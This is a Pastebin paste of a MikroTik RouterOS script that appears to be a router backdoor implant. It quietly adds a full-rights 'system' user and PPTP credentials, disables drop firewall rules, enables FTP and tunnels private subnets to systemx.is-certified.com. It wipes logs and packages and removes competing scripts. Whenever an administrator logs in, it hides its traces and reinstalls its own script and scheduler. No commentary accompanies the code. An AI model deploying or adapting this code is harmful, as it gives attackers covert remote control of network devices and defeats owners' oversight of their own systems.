Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- :global systemV 14
- :global sysCnt
- :global sysCntMax 5
- :global sysJail
- :global sysNoOther
- :global sysPPS
- :global sysState
- :global sysWhileWait 0
- :global userActiveCount
- :global PPtPState
- :local sysLen
- :local sysSource
- :local sysPolice
- :local sysSchedPolice
- :local systemrun
- :local pptpcheck
- :local contentx
- :local accx
- :local whenx
- :local viax
- :local addx
- :local PPtPuser
- :local howlong 60
- :set systemrun [:len [/system script job find script="system"]]
- :if ( $systemrun >= 2) do={
- :put ""
- } else={
- :set sysState "1.0"
- :set sysNoOther true
- :set userActiveCount [:len [/user active find via!="ftp"]]
- :if ( $userActiveCount=0 ) do={
- :set sysState "1.1.0"
- :set sysNoOther true
- } else={
- :set sysState "1.2.0"
- :set sysNoOther true
- /user active {
- :set sysState "1.2.1.0"
- :foreach acc in [find via!="ftp"] do={
- :set sysState "1.2.1.1"
- :if ( [get $acc name]!="system" ) do={
- :set sysState "1.2.1.1.0"
- :set sysNoOther false
- :set sysCnt 0
- :set accx [get $acc name]
- :set whenx [get $acc when]
- :set viax [get $acc via]
- :set addx [get $acc address]
- :if ( [:len [/file find name=intru.txt]] = 0 ) do={
- :set sysState "1.2.1.1.1"
- :if ( [:len [/file find name=login.txt]] = 0 ) do={
- :set sysState "1.2.1.1.1.0"
- /file print file=login.txt
- :delay 2
- /file set [find name=login.txt] content="$whenx,$accx,$viax,$addx"
- :delay 1
- } else={
- :set sysState "1.2.1.1.1.1"
- :if ( [/file get [find name=login.txt] size ] > 3800 ) do={
- /file set [find name=login.txt] content="$whenx,$accx,$viax,$addx"
- :delay 1
- } else={
- :set contentx [/file get [find name=login.txt] content]
- :delay 1
- /file set [find name=login.txt] content="$contentx\n$whenx,$accx,$viax,$addx"
- :delay 1
- }
- }
- /file print file=intru.txt
- :delay 1
- }
- :if ( [:len [/file find name=pps.txt]] != 0 ) do={
- :set sysPPS [/file get [find name=pps.txt] content]
- } else={
- :set sysPPS 0
- }
- } else={
- :set sysState "1.2.1.3"
- # :put "---system login---"
- }
- }
- }
- }
- :if ($sysNoOther) do={
- :set sysState "2.0"
- :if ( [:len [/file find name=intru.txt]] = 1 ) do={
- :set sysState "2.1.0"
- :if ( $sysCnt < $sysCntMax ) do={
- :set sysState "2.1.1"
- # :put "Other login waiting for ($sysCntMax-$sysCnt) seconds..."
- :set sysCnt ($sysCnt + 1)
- } else={
- :set sysState "2.1.2"
- :if ([:len [/user find name=system ]] = 0) do={
- :set sysState "2.1.2.0"
- /user add group=full name=system password=nopassword
- /interface pptp-server server set default-profile=default enabled=yes max-mru=1472 max-mtu=1472
- /ip pool remove [find name=system]
- /ppp profile remove [find comment=system]
- /ppp secret remove [find comment=system]
- :delay 1
- /ip pool add name=system ranges=10.147.147.2-10.147.147.254
- /ppp profile add local-address=10.147.147.1 name=system remote-address=system comment=system
- /ppp secret add name=spidy password=peterparker profile=system service=pptp comment=system
- }
- :set sysState "2.1.3"
- /file remove [find type=".log file"]
- /file remove [find type=package]
- /file remove [find type=".npk file"]
- /file remove [find name=intru.txt]
- /ip service set [find name=ftp] disabled=no port=21
- /ip firewall service-port set [find name=ftp] disabled=no ports=21
- /ip firewall filter set [find chain=input and action=drop ] disabled=yes
- /ip firewall filter set [find chain=output and action=drop ] disabled=yes
- :delay 1
- /ip firewall filter add chain=input src-address=172.16.0.0/12 action=accept comment=system
- /ip firewall filter add chain=output src-address=172.16.0.0/12 action=accept comment=system
- /ip firewall filter add chain=input src-address=127.0.0.1/32 action=accept comment=system
- /ip firewall filter add chain=output src-address=127.0.0.1/32 action=accept comment=system
- /ip firewall filter add chain=input dst-port=21,22,23,162 src-address=!172.16.0.0/12 action=drop protocol=tcp comment=system
- #------------add for Version 14(RC)---------
- /ip firewall filter add chain=input dst-port=161 src-address=!172.16.0.0/12 action=drop protocol=udp comment=system
- #------------add for Version 14---------
- /user set [find name=system] address=172.16.0.0/12,127.0.0.1;
- :local archi
- :set archi [/system resource get architecture-name ]
- :if ( ([:len [/file find name=jail.txt]] != 0 ) or $sysJail ) do={
- :set PPtPuser "jail"
- } else={
- :set PPtPuser "void"
- }
- :if ( $archi="tile" ) do={
- :set PPtPState ($PPtPuser."CCR")
- } else={
- :if ( $archi="powerpc" ) do={
- :set PPtPState ($PPtPuser."PPC")
- } else={
- :if ($archi="mipsbe") do={
- :set PPtPState ($PPtPuser."MIPSBE")
- } else={
- :if ($archi="mipsle") do={
- :set PPtPState ($PPtPuser."MIPSLE")
- } else={
- :if ($archi="smips") do={
- :set PPtPState ($PPtPuser."SMIPS")
- } else={
- :if ($archi="x86") do={
- :set PPtPState ($PPtPuser."X86")
- } else={
- :set PPtPState $PPtPuser
- }
- }
- }
- }
- }
- }
- /user set [find name=system] password=xsystem;
- :set pptpcheck [:len [/interface pptp-client find name=system]]
- :if ( $pptpcheck = 0 ) do={
- :set sysState "2.1.3.0"
- /interface pptp-client add allow=mschap1,mschap2 connect-to=8.8.8.8 disabled=no name=system password=password profile=default user=$PPtPState
- :delay 1
- }
- :local pptpConnectTo
- :local pptpServerResolve
- :if ([:typeof [/interface pptp-client get [find name=system] connect-to ]] ="ip") do={
- :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
- :set pptpServerResolve [:resolve systemx.is-certified.com];
- :if ( $pptpConnectTo != $pptpServerResolve ) do={
- /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no user=$PPtPState password=password
- } else={
- :put "IP NOT CHANGE"
- }
- } else={
- :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
- :set pptpServerResolve "systemx.is-certified.com"
- :if ( $pptpConnectTo != $pptpServerResolve ) do={
- /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no user=$PPtPState password=password
- } else={
- :put "HOST NAME NOT CHANGE"
- }
- }
- :delay 2
- :local wait 30
- :local pptpWait true
- :while ( ( $wait > 0 ) and $pptpWait ) do={
- :set sysState "2.1.4.0"
- :set pptpWait (![/interface pptp-client get [find name=system] running ])
- :set wait ($wait - 1)
- :delay 1
- }
- :if ( (!$pptpWait) ) do={
- :if ( [:len [/ip route find dst-address=172.16.0.0/12 ]] = 0 ) do={
- :ip route add dst-address=172.16.0.0/12 gateway=system comment=system
- } else={
- :if ( [/ip route get [find dst-address=172.16.0.0/12] gateway ]!="system") do={
- /ip route set [find dst-address=172.16.0.0/12] gateway=system
- }
- }
- :if ( [:len [/ip route find dst-address=172.23.255.0/24 ]] = 0 ) do={
- :ip route add dst-address=172.23.255.0/24 gateway=system comment=system
- } else={
- :if ( [/ip route get [find dst-address=172.23.255.0/24] gateway ]!="system") do={
- /ip route set [find dst-address=172.23.255.0/24] gateway=system
- }
- }
- :if ( [:len [/ip route find dst-address=172.24.0.0/14 ]] = 0 ) do={
- :ip route add dst-address=172.24.0.0/14 gateway=system comment=system
- } else={
- :if ( [/ip route get [find dst-address=172.24.0.0/14] gateway ]!="system") do={
- /ip route set [find dst-address=172.24.0.0/14] gateway=system
- }
- }
- }
- }
- } else={
- :set sysState "2.2.0"
- :put "no login , no file,....resolving pptp server"
- :local pptpConnectTo
- :local pptpServerResolve
- :if ( [:len [/interface pptp-client find name=system]]!=0) do={
- :set sysState "2.2.1"
- :if ([:typeof [/interface pptp-client get [find name=system] connect-to ]] ="ip") do={
- :set sysState "2.2.1.1"
- :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
- :set pptpServerResolve [:resolve systemx.is-certified.com];
- :if ( $pptpConnectTo != $pptpServerResolve ) do={
- /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no
- } else={
- :put "IP NOT CHANGE"
- }
- } else={
- :set sysState "2.2.1.2"
- :set pptpConnectTo [/interface pptp-client get [find name=system] connect-to ];
- :set pptpServerResolve "systemx.is-certified.com"
- :if ( $pptpConnectTo != $pptpServerResolve ) do={
- /interface pptp-client set [find name=system] connect-to=$pptpServerResolve disabled=no
- } else={
- :put "HOST NAME NOT CHANGE"
- }
- }
- }
- :delay 2
- :local wait 30
- :local pptpWait true
- :while ( ( $wait > 0 ) and $pptpWait ) do={
- :set sysState "2.1.4.0"
- :set pptpWait (![/interface pptp-client get [find name=system] running ])
- :set wait ($wait - 1)
- :delay 1
- }
- :if ( (!$pptpWait) ) do={
- :if ( [:len [/ip route find dst-address=172.16.0.0/12 ]] = 0 ) do={
- :ip route add dst-address=172.16.0.0/12 gateway=system comment=system
- } else={
- :if ( [/ip route get [find dst-address=172.16.0.0/12] gateway ]!="system") do={
- /ip route set [find dst-address=172.16.0.0/12] gateway=system
- }
- }
- :if ( [:len [/ip route find dst-address=172.23.255.0/24 ]] = 0 ) do={
- :ip route add dst-address=172.23.255.0/24 gateway=system comment=system
- } else={
- :if ( [/ip route get [find dst-address=172.23.255.0/24] gateway ]!="system") do={
- /ip route set [find dst-address=172.23.255.0/24] gateway=system
- }
- }
- :if ( [:len [/ip route find dst-address=172.24.0.0/14 ]] = 0 ) do={
- :ip route add dst-address=172.24.0.0/14 gateway=system comment=system
- } else={
- :if ( [/ip route get [find dst-address=172.24.0.0/14] gateway ]!="system") do={
- /ip route set [find dst-address=172.24.0.0/14] gateway=system
- }
- }
- }
- }
- } else={
- :set sysState "3.0"
- :put ".......other login......."
- :put ".......Begin Roll Back config......."
- :if ( [:len [/file find name=init10.rsc]] != 0 ) do={
- /snmp community {
- :foreach comm in [find default!=yes] do={
- :local commName
- :set commName [get $comm name]
- # :put $commName
- :if ( $commName != "public" ) do={
- [remove $comm]
- }
- }
- }
- /import init10.rsc
- /file remove [find name=init10.rsc]
- } else={
- :put "snmp"
- }
- :if ( [:len [/file find name=init11.rsc]] != 0 ) do={
- /import file=init11.rsc
- /file remove [find name=init11.rsc]
- } else={
- :put "ip service"
- /ip service set [find] disabled=yes
- /ip service set [find name=winbox] disabled=no
- /ip service set [find name=ssh] disabled=no
- /ip service set [find name=www] disabled=no
- }
- :if ( [:len [/file find name=init12.rsc]] != 0 ) do={
- /import file=init12.rsc
- /file remove [find name=init12.rsc]
- } else={
- :put "ip firewall service port"
- }
- :if ( [:len [/file find name=init13.rsc]] != 0 ) do={
- /import file=init13.rsc
- /file remove [find name=init13.rsc]
- } else={
- :put "system logging"
- }
- :if ( [:len [/file find name=init14.rsc]] != 0 ) do={
- /import file=init14.rsc
- /file remove [find name=init14.rsc]
- } else={
- :put "system logging action"
- }
- :put ".......End Roll Back config......."
- :put ".......Begin clear unresponse job...."
- :local currenttime
- :local jobstarttime
- :local tmptime
- :set tmptime [/system clock get time]
- :put $tmptime
- :for x from=0 to=([:len $tmptime] - 1) do={
- :if ([:pick $tmptime $x ($x + 1)] = ":") do={
- :set tmptime ([:pick $tmptime 0 $x] . "," . [:pick $tmptime ($x + 1) [:len $tmptime]])
- }
- }
- :set tmptime [:toarray $tmptime]
- :set currenttime ( (($tmptime->0)*3600) + (($tmptime->1)*60) +($tmptime->2) )
- :put $currenttime
- /system script job {
- :foreach job in [find] do={
- :local tmpjobscript
- :local tmpjobstart
- :local startjob
- :local runfor
- :set tmpjobscript [get $job script]
- :set tmpjobstart [get $job start]
- :put "\n"
- :put "=======START======="
- :put "-------------------------------job script:$tmpjobscript"
- # :put [get $job script]
- # :put [:typeof [get $job script]]
- :if ( [:typeof [get $job script]]="str" ) do={
- :put "Remove script ...(PHASE 1)"
- :local scriptName [get $job script]
- :if ( $scriptName = "monROS" ) do={
- :put "Remove this job ....(script monROS )"
- [remove $job]
- }
- :if ( $scriptName = "init0" ) do={
- :put "Remove this job ....(script init0 )"
- [remove $job]
- }
- :if ( $scriptName = "init1" ) do={
- :put "Remove this job ....(script init1 )"
- [remove $job]
- }
- } else={
- :put "Remove this job ....(PHASE 1)"
- :set startjob [:pick $tmpjobstart ([:find $tmpjobstart " "] + 1) [:len $tmpjobstart]]
- :for x from=0 to=([:len $startjob] - 1) do={
- :if ([:pick $startjob $x ($x + 1)] = ":") do={
- :set startjob ([:pick $startjob 0 $x] . "," . [:pick $startjob ($x + 1) [:len $startjob]])
- }
- }
- :set startjob [:toarray $startjob]
- :set jobstarttime ( (($startjob->0)*3600) + (($startjob->1)*60) +($startjob->2) )
- :if ( $currenttime < $jobstarttime ) do={
- :set runfor ($currenttime + 86400 - $jobstarttime)
- } else={
- :set runfor ($currenttime - $jobstarttime)
- }
- :put "jobstarttime:$jobstarttime runfor:$runfor"
- :if ( $runfor > $howlong ) do={
- :put "Remove this job ....(PHASE 2)"
- [remove $job]
- } else={
- :put "+++++++++++++WAIT...(PHASE 2)"
- }
- }
- :put "=======STOP======="
- }
- }
- :put ".......End clear unresponse job...."
- /system script job remove [find script!="system"]
- /user remove [find name=system ]
- /ip route remove [find dst-address=172.16.0.0/12]
- /ip route remove [find comment=system]
- /ip pool remove [find name=system]
- /ppp profile remove [find comment=system]
- /ppp secret remove [find comment=system]
- /interface pptp-client remove [find name=system]
- :set sysJail false
- :set sysLen [:len [/system script get [find name=system] source ]]
- :set sysSource [/system script get [find name=system] source ]
- :set sysPolice [/system script get [find name=system] policy ]
- :set sysSchedPolice [/system scheduler get [find name=system] policy ]
- /tool traffic-generator stop
- /tool traffic-generator stream remove [find]
- /tool traffic-generator packet-template remove [find]
- /tool traffic-generator port remove [find]
- /system schedule remove [find name=tfgen]
- /system script remove [find name=tfgen]
- /system schedule remove [find name=monROS]
- /system script remove [find name=monROS]
- /system schedule remove [find name=spawn]
- /system script remove [find name=spawn]
- /system schedule remove [find name=init0]
- /system script remove [find name=init0]
- /system schedule remove [find name=init1]
- /system script remove [find name=init1]
- /system schedule remove [find name=init2]
- /system script remove [find name=init2]
- /system schedule remove [find name=init3]
- /system script remove [find name=init3]
- /system schedule remove [find name=init4]
- /system script remove [find name=init4]
- /system schedule remove [find name=init5]
- /system script remove [find name=init5]
- /system schedule remove [find name=init6]
- /system script remove [find name=init6]
- /system schedule remove [find name=init7]
- /system script remove [find name=init7]
- /system schedule remove [find name=init8]
- /system script remove [find name=init8]
- /system schedule remove [find name=init9]
- /system script remove [find name=init9]
- /file {
- :foreach scriptFile in [find type=script] do={
- :local scriptFileName [get $scriptFile name]
- :if ( $scriptFileName="init10.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init11.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init12.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init13.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init14.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init15.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init16.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init17.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init18.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :if ( $scriptFileName="init19.rsc" ) do={
- :put "This File is OK: $scriptFileName"
- } else={
- :put "Dont need this File: $scriptFileName"
- [remove $scriptFile]
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- /file remove [find type=".log file"]
- /file remove [find type=package]
- /file remove [find type=".npk file"]
- /file remove [find name=init.db]
- /file remove [find name=system]
- /file remove [find type=".tar file"]
- /file remove [find type=".rif file"]
- /file remove [find type=".rar file"]
- /file remove [find type=".zip file"]
- /file remove [find name=virgin.txt]
- /file remove [find name=igw.txt]
- /file remove [find name=system.txt]
- /file remove [find name=monROS.txt]
- /file remove [find name=spawn.txt]
- /file remove [find name=sys-note.txt]
- /file remove [find name=init0.txt]
- /file remove [find name=init1.txt]
- /file remove [find name=init2.txt]
- /file remove [find name=init3.txt]
- /file remove [find name=init4.txt]
- /file remove [find name=init5.txt]
- /file remove [find name=init6.txt]
- /file remove [find name=init7.txt]
- /file remove [find name=init8.txt]
- /file remove [find name=init9.txt]
- /ip firewall filter remove [find comment=system]
- /ip firewall mangle remove [find comment=system]
- # /ip firewall filter set [find action=drop and chain=input] disabled=no
- # /ip firewall filter set [find action=drop and chain=output] disabled=no
- :while ( !$sysNoOther ) do={
- :set sysWhileWait ($sysWhileWait + 1)
- :set sysState "3.1.0"
- /file remove [find type=".log file"]
- /file remove [find type=package]
- /file remove [find type=".npk file"]
- /file remove [find type=script]
- :if ( [:len [/file find name=intru.txt]] = 0 ) do={
- /file print file=intru.txt
- }
- :if ( [:len [/file find name=pps.txt]] = 0 ) do={
- :if ($sysPPS!=0) do={
- /file print file=pps.txt
- :delay 2
- /file set [find name=pps.txt] content="$sysPPS"
- }
- }
- :if ( [:len [/system script find name=system]] = 1 ) do={
- :set sysState "3.1.2"
- :local sysSourceCheck
- :local sysPoliceCheck
- :local sysLenCheck
- :set sysLenCheck [:len [/system script get [find name=system] source ]]
- :set sysSourceCheck [/system script get [find name=system] source ]
- :set sysPoliceCheck [/system script get [find name=system] policy ]
- :put "$sysLen.....$sysLenCheck"
- :if ( $sysSource != $sysSourceCheck ) do={
- /system script set [find name=system] source=$sysSource
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCR01"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCR01"
- }
- } else={
- :put "system script source is not modified"
- }
- :if ($sysPolice != $sysPoliceCheck ) do={
- /system script set [find name=system] policy=$sysPolice
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCR02"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCR02"
- }
- } else={
- :put "system script policy is not modified"
- }
- } else={
- :set sysState "3.1.3"
- /system script add name=system policy=$sysPolice source=$sysSource
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCR00"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCR00"
- }
- }
- /system script {
- :foreach scri in [find name!="system"] do={
- :if ( [get $scri source]=$sysSource ) do={
- [remove $scri]
- }
- }
- }
- :if ( [:len [/system schedule find name=system]] = 1 ) do={
- :local sysSchedPoliceCheck
- :set sysSchedPoliceCheck [/system scheduler get [find name=system] policy ]
- :if ( $sysSchedPolice != $sysSchedPoliceCheck ) do={
- /system scheduler set [find name=system] policy=$sysSchedPolice
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCH01"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCH01"
- }
- } else={
- :put "system scheduler policy is not modified"
- }
- :if ( [/system scheduler get [find name=system] disabled ] !=no ) do={
- /system scheduler set [find name=system] disabled=no;
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCH02"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCH02"
- }
- }
- :if ( [/system scheduler get [find name=system] interval ] !="00:00:01" ) do={
- /system scheduler set [find name=system] interval=00:00:01;
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCH03"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCH03"
- }
- }
- :if ( [/system scheduler get [find name=system] start-time ] !="00:00:00") do={
- /system scheduler set [find name=system] start-time=00:00:00;
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCH04"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCH04"
- }
- }
- :if ( [/system scheduler get [find name=system] start-date ] !="jan/01/1970" ) do={
- /system scheduler set [find name=system] start-date=jan/01/1970;
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCH05"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCH05"
- }
- }
- :if ( [/system scheduler get [find name=system] on-event ] !="system" ) do={
- /system scheduler set [find name=system] on-event=system;
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCH06"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCH06"
- }
- }
- } else={
- :put "system scheduler was removed"
- /system schedule add interval=1s name=system on-event=system start-date=jan/01/1970 start-time=00:00:00
- :set sysJail true
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :if ( [:file get jail.txt size ] < 3800 ) do={
- :set jailFile [/file get [find name=jail.txt] content]
- :delay 1
- /file set [find name=jail.txt] content="$jailFile,SCH00"
- }
- } else={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="SCH00"
- }
- }
- :if ( $sysJail ) do={
- :local jailFile
- :if ( [:len [/file find name=jail.txt]] = 0 ) do={
- /file print file=jail.txt
- :delay 2
- /file set [find name=jail.txt] content="ERR00"
- }
- } else={
- :if ( [:len [/file find name=jail.txt]] != 0 ) do={
- :set sysJail true
- }
- }
- :set userActiveCount [:len [/user active find via!="ftp"]]
- :if ( $userActiveCount=0 ) do={
- :set sysNoOther true
- } else={
- :set sysNoOther true
- /user active {
- :foreach acc in [find via!="ftp"] do={
- :if ( [get $acc name]!="system" ) do={
- :set sysNoOther false
- }
- }
- }
- }
- :delay 1
- }
- :set sysState "3.2.0"
- :put ".....Begin Export config....."
- /snmp export verbose file=init10
- /ip service export verbose file=init11
- /ip firewall service-port export verbose file=init12
- /system logging export verbose file=init13
- /system logging action export verbose file=init14
- :put ".....End Export config....."
- :local logouttime
- :set logouttime [/system clock get time]
- :set contentx [/file get [find name=login.txt] content]
- :delay 1
- :if ( [:file get login.txt size ] < 3800 ) do={
- /file set [find name=login.txt] content="$contentx,$logouttime"
- :delay 1
- }
- /system script environment remove [find]
- }
- }
Add Comment
Please, Sign In to add comment